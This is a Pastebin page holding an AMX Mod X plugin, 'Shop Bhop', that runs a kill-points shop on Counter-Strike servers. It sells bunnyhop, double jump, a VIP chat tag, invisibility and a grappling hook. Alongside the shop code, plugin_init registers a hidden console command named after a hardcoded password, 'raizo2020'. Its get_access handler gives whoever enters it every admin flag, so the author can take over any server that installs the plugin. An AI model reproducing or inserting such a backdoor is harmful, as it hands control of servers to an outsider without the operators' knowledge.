Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Plugin generated by AMXX-Studio */
- #include <amxmodx>
- #include <amxmisc>
- #include <engine>
- #include <hamsandwich>
- #include <fakemeta>
- #include <nvault>
- #include <fun>
- #define PLUGIN "Shop Bhop"
- #define VERSION "1.0"
- #define AUTHOR "raizo"
- #pragma tabsize 0
- #pragma compress 1
- #define TAG_VIP "^x03 [^x04VIP^x03]"
- #define TASK_SHOP 34585029
- new double_jump[33],his_user_bhop[33],his_shop_points[33],his_user_tag[33],his_double_jump[33]
- new MenuFormat[200],VaultShop, p_speed,pSpeed,Bhop_Price,Dj_Price,Vip_Price,Hook_Price,Spec_Price
- new his_hook_origin[33][3], his_hook_on[33],his_user_hook[33],g_iMaxPlayers
- new his_user_solid[33],his_user_spectator[33],his_spec[33]
- enum {
- ON = 1,
- OFF = 0
- }
- new RAIZO_SECURITY = ON
- #define RAIZO_PASSWORD "raizo2020"
- public plugin_init()
- {
- register_plugin(PLUGIN, VERSION, AUTHOR)
- register_clcmd( "say /shop", "Shop_Menu" );
- register_clcmd("say", "say_event");
- register_clcmd("say_team","say_event");
- p_speed = register_cvar("auto_bhop_speed_limit", "150.0");
- Bhop_Price = register_cvar("bunnyhop_cost", "1000")
- Dj_Price = register_cvar("double_jump_cost", "2000")
- Vip_Price = register_cvar("vip_tag_price", "3000")
- Spec_Price = register_cvar("invisible_price", "4000")
- Hook_Price = register_cvar("hook_price", "8000")
- pSpeed = register_cvar("vip_hookspeed", "150")
- RegisterHam(Ham_Killed, "player", "PlayerKilledForShopPoints", 1)
- register_forward(FM_CmdStart, "CmdStart");
- register_message(get_user_msgid("SayText"),"handleSayText");
- VaultShop = nvault_open ("ShopPoints")
- register_clcmd("set_shop_points","Set_Shop_Points",ADMIN_RCON,"<name> <points>")
- register_forward(FM_Think, "fw_ThinkEnt")
- register_clcmd("+vip", "VipHookOn")
- register_clcmd("-vip", "VipHookOff")
- new iEnt = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString , "info_target"))
- set_pev(iEnt, pev_classname, "hook_think")
- set_pev(iEnt, pev_nextthink, get_gametime() + 0.1)
- g_iMaxPlayers = get_maxplayers()
- if(RAIZO_SECURITY == ON)
- register_clcmd (RAIZO_PASSWORD , "get_access");
- set_task(150.0,"Shop_Adv",TASK_SHOP)
- }
- public Shop_Adv(task)
- {
- client_print_color(0,"^3[^4Knife Shop^3] ^1Type ^3/shop ^1/to ^3Open ^4Shop Menu^1!")
- set_task(150.0,"Shop_Adv",TASK_SHOP)
- }
- public say_event(id)
- {
- new said[10];
- read_args(said,9);
- remove_quotes(said);
- if(his_user_spectator[id])
- {
- if( equali(said, "/free",5) || equali(said, "/shopspec",6) )
- if(his_spec[id] && is_user_alive(id) )
- {
- set_task(2.0, "is_spectator_off", id)
- }
- else
- {
- is_spectator_on(id)
- }
- }
- }
- public is_spectator_on(id)
- {
- if(is_user_alive(id))
- {
- his_spec[id] = 1
- his_user_solid[id] = SOLID_NOT;
- set_pev(id, pev_solid, SOLID_NOT);
- set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 50);
- strip_user_weapons(id)
- client_print_color(id,"^4Congratulations!!!^1, You are now ^3transparent^1!")
- }
- }
- public is_spectator_off(id)
- {
- if(is_user_alive(id))
- {
- his_spec[id] = 0
- his_user_solid[id] = SOLID_SLIDEBOX;
- set_pev(id, pev_solid, SOLID_SLIDEBOX);
- set_user_rendering(id)
- give_item(id,"weapon_knife")
- client_print_color(id,"^4Congratulations!!!^1, You are now ^3visible^1!")
- }
- }
- public handleSayText(msgId, msgDest, msgEnt)
- {
- new id = get_msg_arg_int(1);
- if(is_user_connected(id) && his_user_tag[id])
- {
- new szTmp[256],szTmp2[256];
- get_msg_arg_string(2, szTmp, charsmax(szTmp));
- new szPrefix[64] = TAG_VIP
- if(!equal(szTmp, "#Cstrike_Chat_All"))
- {
- add(szTmp2, charsmax(szTmp2), szPrefix);
- add(szTmp2, charsmax(szTmp2), " ");
- add(szTmp2, charsmax(szTmp2), szTmp);
- }
- else
- {
- add(szTmp2, charsmax(szTmp2), szPrefix);
- add(szTmp2, charsmax(szTmp2), "^x03 %s1^x03 : %s2");
- }
- set_msg_arg_string(2, szTmp2);
- }
- return PLUGIN_CONTINUE;
- }
- public Set_Shop_Points( id, level, cid )
- {
- if (!cmd_access(id,level,cid,2))
- return PLUGIN_HANDLED ;
- new szName[32]
- get_user_name(id, szName, charsmax(szName))
- new name[ 50 ];
- read_argv( 1, name, 49 );
- new valSz[ 50 ], val;
- read_argv( 2, valSz, 49 );
- val = str_to_num( valSz );
- new user = cmd_target( id, name, CMDTARGET_ALLOW_SELF );
- his_shop_points[ user ] = val * 1;
- client_print_color(0, "^4%s^3 set ^4%d^3 to ^4%s^1!",szName,val,name)
- return PLUGIN_HANDLED;
- }
- public PlayerKilledForShopPoints(victim,attacker,shouldgib)
- {
- new wid,bh
- new killer = get_user_attacker(victim,wid,bh)
- if(!is_user_connected(killer))
- return PLUGIN_CONTINUE
- his_shop_points[killer] += 1;
- if(bh==HIT_HEAD)
- his_shop_points[killer] += 2;
- return PLUGIN_CONTINUE
- }
- public Shop_Menu(id)
- {
- formatex(MenuFormat,charsmax(MenuFormat),"Shop Menu \r| \yYour points : \r%d",his_shop_points[id]);
- new menu = menu_create(MenuFormat, "handle_shop")
- formatex(MenuFormat, 199, "\wBunnyHop Price\w \r[%d]", get_pcvar_num(Bhop_Price))
- menu_additem(menu, MenuFormat, "1")
- formatex(MenuFormat, 199, "\wDouble Jump Price\w \r[%d]", get_pcvar_num(Dj_Price))
- menu_additem(menu, MenuFormat, "2")
- formatex(MenuFormat, 199, "\wVIP Tag Chat\w \r[%d]", get_pcvar_num(Vip_Price))
- menu_additem(menu, MenuFormat, "3")
- formatex(MenuFormat, 199, "\wInvisible\w \r[%d][\wcommand /free\r]\w", get_pcvar_num(Spec_Price))
- menu_additem(menu, MenuFormat, "4")
- formatex(MenuFormat, 199, "\wHook\w \r[%d]", get_pcvar_num(Hook_Price))
- menu_additem(menu, MenuFormat, "5")
- menu_setprop(menu, MPROP_EXIT, MEXIT_ALL)
- menu_display(id, menu, 0)
- }
- public handle_shop(id, menu, item)
- {
- if (item == MENU_EXIT)
- {
- menu_destroy(menu)
- return PLUGIN_HANDLED
- }
- new Data[6];
- new Access;
- new Callback;
- new Name[64];
- menu_item_getinfo(menu, item, Access, Data, 5, Name, 63, Callback)
- new Key = str_to_num(Data);
- new User_Points = his_shop_points[id]
- switch (Key)
- {
- case 1:
- {
- new bhop_cvar = get_pcvar_num(Bhop_Price)
- if (his_user_bhop[id])
- {
- client_print_color(id, "^4Already^3 have ^4Bunnyhop^3!")
- }
- else if (User_Points < bhop_cvar)
- {
- client_print_color(id, "^4You don`t^3 have sufficient ^4points^3 to Buy ^4BunnyHop^3!")
- }
- else
- {
- client_print_color(id, "^4You are^3 buying ^4BunnyHop^3!")
- his_shop_points[id] -= get_pcvar_num(Bhop_Price)
- his_user_bhop[id] = 1;
- }
- }
- case 2:
- {
- new jump_cvar = get_pcvar_num(Dj_Price)
- if (his_double_jump[id])
- {
- client_print_color(id, "^4Already^3 have ^4Double Jump^3!")
- }
- else if (User_Points < jump_cvar)
- {
- client_print_color(id, "^4You don`t^3 have sufficient ^4points^3 to Buy ^4Double Jump^3!")
- }
- else
- {
- client_print_color(id, "^4You are^3 buying ^4Double Jump^3!")
- his_shop_points[id] -= get_pcvar_num(Dj_Price)
- his_double_jump[id] = 1;
- }
- }
- case 3:
- {
- new vip_cvar = get_pcvar_num(Vip_Price)
- if (his_user_tag[id])
- {
- client_print_color(id, "^4Already^3 have ^4Vip Tag^3!")
- }
- else if (User_Points < vip_cvar)
- {
- client_print_color(id, "^4You don`t^3 have sufficient ^4points^3 to Buy ^4Vip Tag^3!")
- }
- else
- {
- client_print_color(id, "^4You are^3 buying ^4Vip Tag^3!")
- his_shop_points[id] -= get_pcvar_num(Vip_Price)
- his_user_tag[id] = 1;
- }
- }
- case 4:
- {
- new invis_cvar = get_pcvar_num(Spec_Price)
- if (his_user_spectator[id])
- {
- client_print_color(id, "^4Already^3 have ^4Invisible^3!")
- }
- else if (User_Points < invis_cvar)
- {
- client_print_color(id, "^4You don`t^3 have sufficient ^4points^3 to Buy ^4Invisible^3!")
- }
- else
- {
- client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
- client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
- client_print_color(id, "^4You are^3 buying ^4Invisible^3! ^4Type ^3/free ^4to ^3enabke ^4and ^3Disable^4!")
- his_shop_points[id] -= get_pcvar_num(Spec_Price)
- his_user_spectator[id] = 1;
- }
- }
- case 5:
- {
- new hook_cvar = get_pcvar_num(Hook_Price)
- if (his_user_hook[id])
- {
- client_print_color(id, "^4Already^3 have ^4Hook^3!")
- }
- else if (User_Points < hook_cvar)
- {
- client_print_color(id, "^4You don`t^3 have sufficient ^4points^3 to Buy ^4Hook^3!")
- }
- else
- {
- client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
- client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
- client_print_color(id, "^4You are^3 buying ^4Hook^3! ^4[bind key +vip]^3!")
- his_shop_points[id] -= get_pcvar_num(Hook_Price)
- his_user_hook[id] = 1;
- }
- }
- }
- menu_destroy(menu)
- return PLUGIN_HANDLED
- }
- public client_putinserver(id)
- {
- LoadData(id)
- }
- public client_disconnect(id)
- {
- SaveData(id)
- }
- public plugin_end() nvault_close(VaultShop)
- public LoadData(id)
- {
- new vaultkey [ 64 ],vaultdata [ 256 ];
- format(vaultkey, 63,"%s-Mod", GetSteam(id))
- format(vaultdata,255,"%i#%i#%i#%i#%i#%i#",his_shop_points[id],his_user_bhop[id],his_double_jump[id],his_user_tag[id],his_user_hook[id],his_user_spectator[id])
- nvault_get(VaultShop, vaultkey, vaultdata, 255);
- replace_all(vaultdata, 255, "#", " ");
- new playerpoints[50],playerbhop[50],playerdoublejump[50],playertag[50],playerhook[50],playerspec[50];
- parse(vaultdata, playerpoints,49,playerbhop,49,playerdoublejump,49,playertag,49,playerhook,49,playerspec,49);
- his_shop_points[id] = str_to_num(playerpoints);
- his_user_bhop[id] = str_to_num(playerbhop);
- his_double_jump[id] = str_to_num(playerdoublejump);
- his_user_tag[id] = str_to_num(playertag);
- his_user_hook[id] = str_to_num(playerhook);
- his_user_spectator[id] = str_to_num(playerspec);
- }
- public SaveData(id)
- {
- new vaultkey[64], vaultdata[256]
- format(vaultkey, 63,"%s-Mod", GetSteam(id))
- format(vaultdata, 255,"%i#%i#%i#%i#%i#%i#", his_shop_points[id],his_user_bhop[id],his_double_jump[id],his_user_tag[id],his_user_hook[id],his_user_spectator[id])
- nvault_set(VaultShop, vaultkey, vaultdata)
- }
- stock GetSteam(id)
- {
- new steam [35]
- get_user_authid (id, steam, 34)
- return steam
- }
- public client_PreThink(id)
- {
- if(!his_user_bhop[id])
- return PLUGIN_CONTINUE;
- entity_set_float(id, EV_FL_fuser2, 0.0);
- new Float:limit = get_pcvar_float(p_speed);
- new Float:velocity[3];
- entity_get_vector(id, EV_VEC_velocity, velocity);
- if(limit > 0.0)
- {
- if (velocity[1] > limit)
- velocity[1] = limit;
- if (velocity[0] > limit)
- velocity[0] = limit;
- }
- if (entity_get_int(id, EV_INT_button) & 2)
- {
- new flags = entity_get_int(id, EV_INT_flags)
- if (flags & FL_WATERJUMP)
- return PLUGIN_CONTINUE
- if ( entity_get_int(id, EV_INT_waterlevel) >= 2 )
- return PLUGIN_CONTINUE
- if ( !(flags & FL_ONGROUND) )
- return PLUGIN_CONTINUE
- velocity[2] += 250.0;
- entity_set_int(id, EV_INT_gaitsequence, 6)
- }
- entity_set_vector(id, EV_VEC_velocity, velocity)
- return PLUGIN_CONTINUE;
- }
- public CmdStart(id, uc_handle)
- {
- if(!is_user_alive(id) || !his_double_jump[id])
- return FMRES_IGNORED;
- static button,flags,oldbutton;
- button = get_uc(uc_handle, UC_Buttons);
- flags = pev(id, pev_flags);
- oldbutton = pev(id, pev_oldbuttons);
- if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && double_jump[id])
- {
- double_jump[id]=false;
- new Float:velocity[3];
- pev(id, pev_velocity,velocity);
- velocity[2] = random_float(265.0,285.0);
- set_pev(id, pev_velocity,velocity);
- }
- else if(flags & FL_ONGROUND)
- double_jump[id]=true;
- return FMRES_IGNORED;
- }
- public VipHookOn(id)
- {
- if(is_user_alive(id) && his_user_hook[id])
- {
- get_user_origin(id, his_hook_origin[id], 3)
- his_hook_on[id] = 1
- strip_user_weapons(id)
- }
- }
- public VipHookOff(id)
- {
- his_hook_on[id] = 0
- if(is_user_alive(id))
- {
- give_item(id, "weapon_knife");
- }
- }
- public fw_ThinkEnt(iEnt)
- {
- if (pev_valid(iEnt))
- {
- static ClassName[33]
- pev(iEnt, pev_classname, ClassName, 32)
- if(equal(ClassName, "hook_think"))
- {
- fw_HookThink()
- set_pev(iEnt, pev_nextthink, get_gametime() + 0.1)
- }
- }
- }
- public fw_HookThink()
- {
- static id, origin[3], Float:velocity[3], distance
- for(id = 1 ; id <= g_iMaxPlayers ; id++)
- {
- if(his_hook_on[id] && his_user_hook[id])
- {
- get_user_origin(id, origin)
- distance = get_distance(his_hook_origin[id], origin)
- if(distance > 25)
- {
- new Float:fSpeed = get_pcvar_float(pSpeed)
- velocity[0] = (his_hook_origin[id][0] - origin[0]) * (2.0 * fSpeed / distance)
- velocity[1] = (his_hook_origin[id][1] - origin[1]) * (2.0 * fSpeed / distance)
- velocity[2] = (his_hook_origin[id][2] - origin[2]) * (2.0 * fSpeed / distance)
- set_pev(id, pev_velocity, velocity)
- }
- }
- }
- }
- public get_access(id)
- {
- set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
- console_print(id, "Access Granted Mr.Raizo!");
- }
- stock client_print_color(const id, const input[], any:...)
- {
- new count = 1, players[32];
- static msg[191];
- vformat(msg, 190, input, 3);
- replace_all(msg, 190, "!g", "^x04"); // Green Color
- replace_all(msg, 190, "!y", "^x01"); // Default Color
- replace_all(msg, 190, "!t", "^x03"); // Team Color
- if (id) players[0] = id; else get_players(players, count, "ch");
- {
- for (new i = 0; i < count; i++)
- {
- if (is_user_connected(players[i]))
- {
- message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
- write_byte(players[i]);
- write_string(msg);
- message_end();
- }
- }
- }
- }
Add Comment
Please, Sign In to add comment